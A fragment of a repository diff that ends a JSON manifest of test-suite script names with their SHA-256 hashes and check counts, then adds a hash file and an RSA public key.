||||||
|
"phase1-track-a-tests.sh": {
|
||||||
|
"sha256": "3cf50c42335b23571f75dfae0ac1ba5c0332747a35d99f39a1dddfbd9de8e787",
|
||||||
|
"checks": 22
|
||||||
|
},
|
||||||
|
"phase10-traceability-tests.sh": {
|
||||||
|
"sha256": "eac99b364172a43dee908ae77e3fe3a613d74aad2b70eb95d51ae5df776a1350",
|
||||||
|
"checks": 6
|
||||||
|
},
|
||||||
|
"phase2-sourcegen-tests.sh": {
|
||||||
|
"sha256": "1af646519088faff5ef7971191a30aaa05e3fa8d12fb35bb5483ac11385c2e2e",
|
||||||
|
"checks": 3
|
||||||
|
},
|
||||||
|
"phase2-track-c-tests.sh": {
|
||||||
|
"sha256": "6e57b358f4cc03c3ad393cf320c5a323f993a57647c4ab641266d6cdb3ec1120",
|
||||||
|
"checks": 30
|
||||||
|
},
|
||||||
|
"phase3-evidence-pack-tests.sh": {
|
||||||
|
"sha256": "9aa0f2a2c57a278ed3edb7170f1825cfc2f5c99ce179fd260a28368b446f5481",
|
||||||
|
"checks": 8
|
||||||
|
},
|
||||||
|
"phase3-judge-gate-tests.sh": {
|
||||||
|
"sha256": "3fc0bbbb9fa52bdcc7a0c98746cfe69db93329a09e1f78fa615e57b50a8ebaea",
|
||||||
|
"checks": 0
|
||||||
|
},
|
||||||
|
"phase3-model-router-tests.sh": {
|
||||||
|
"sha256": "f027104f2f115493bfff982218bd316b1cd7734a66a92f50e4d231c8df803aa5",
|
||||||
|
"checks": 11
|
||||||
|
},
|
||||||
|
"phase3-redteam-metrics.sh": {
|
||||||
|
"sha256": "fc8b411cd07cd15b04c836255dfaa50d23d9a11672673fe0caa6e5a55ab11c20",
|
||||||
|
"checks": 0
|
||||||
|
},
|
||||||
|
"run-casan4-harness-tests.sh": {
|
||||||
|
"sha256": "ac572791bdd4d195818932c4cbeb0cf9409f4c63492317334ac06bb2f7bc639a",
|
||||||
|
"checks": 10
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"total_checks": 307,
|
||||||
|
"suite_count": 33
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
06273ff0acaaaabfa2b5ca8d6f06d722e1423d995bcd8ba772251c1282f4dd41
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
-----BEGIN PUBLIC KEY-----
|
||||||
|
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA30OELMJb2Ee2BXI7GlNb
|
||||||
|
pPyX7CVoJhS4FhFzBAWsTmaVISnyTxte1938JwupAPJUoVE2kQTy3lwgPTFrzrlT
|
||||||
|
ZP6SdmaRnT0yL4gN/eXQE7Kq5998Qcaf7VxFE96l9s3bBmonwu/FrgL/Ph05kMOK
|
||||||
|
1yxBOnXlMWqQYyvbyi4BkIgB/fe/HQ04jotNjpPjkTyagPtzm9aZB+e2lThAJt11
|
||||||
|
IRIQfbfyUt5k4aKMHKfUWWrnoFZDj1kXMXSY5HdKRvt03Z8HGo/Kr54XNlYWj8LO
|
||||||
|
PPNKpWrb65JFRgF7TF6IPoInfHGAomTC9fHIxsYyanFe7IHGrCwx8GGAvTT1XgH9
|
||||||
|
WwIDAQAB
|
||||||
|
-----END PUBLIC KEY-----
|
||||||
Binary file not shown.
Reference in New Issue
Block a user